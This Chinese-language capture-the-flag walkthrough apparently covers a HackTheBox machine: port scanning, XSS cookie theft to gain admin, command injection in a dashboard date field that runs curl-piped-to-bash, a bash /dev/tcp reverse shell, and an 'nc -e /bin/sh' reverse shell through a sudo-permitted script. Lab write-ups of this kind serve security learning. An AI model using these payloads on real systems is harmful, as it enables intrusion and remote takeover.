一、外网渗透
1.信息搜集
①拿到ip后先用nmap看开放的端口
可以看到5000端口有http信息比较可疑,直接用dirsearch扫一下:
其中中support是
试图直接在这里获得信息但是没什么回显
另一个进不去,/dashboard显示
那么很有可能是需要拿到授权才能进来这个页面
现在我们把关注点在再放到/support上
2.通过xss漏洞拿到admin认证
一种很常用的通过xss获取cookie的方式
随便输表单数据抓个包试试:
把这个包转到repeater中
然后在终端监听一个端口
python3 -m http.server 8001
再在repeater中构造数据包如下:
发送后监听端有了反应:
这时候拿到了cookie,本来以为这就是admin的cookie,但是放到浏览器中再进/dashboard是这样的:
观察这个字段发现是base64编码,解码后是
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
再重新把这个cookie放到浏览器,显示:
此时顺利拿到admin的身份
3.反弹shell
此时我们就可以考虑怎么反弹shell了
①先在本地开启一个http的端口
python3 -m http.server 8002 -d ./
这里8002是自己随便选一个和其他不冲突的端口,后面 -d ./ 意思是这个网页的根目录在当前目录
可以看到8002端口web服务的根目录里面有个payload.sh,之后就可以在靶机上面下载这个文件并使用
②将payload.sh的内容写成:
/bin/bash -c 'exec bash -i >& /dev/tcp/10.10.14.55/1234 0>&1'
即反弹shell的代码
其中10.10.14.55是我的ip(下文中也是),如复制需更换成自己在htb中machines的ip
③在本地再监听一个端口:
nc -nlvp 1234
④用bp抓/dashboard中生成的包:
在date字段后加要执行的代码:
;curl http://10.10.14.55:8002/payload.sh|bash
发送,顺利拿到shell:
在找一下user.txt即可:
二、内网渗透
输
sudo -l
看可以用的东西
重点发现有个/usr/bin/syscheck
可以
echo "nc -e /bin/sh 10.10.14.55 1212" > initdb.sh
再次反弹shell,其他步骤和上文相同
若这几步实现有困难,评论区可以和我说,我再写下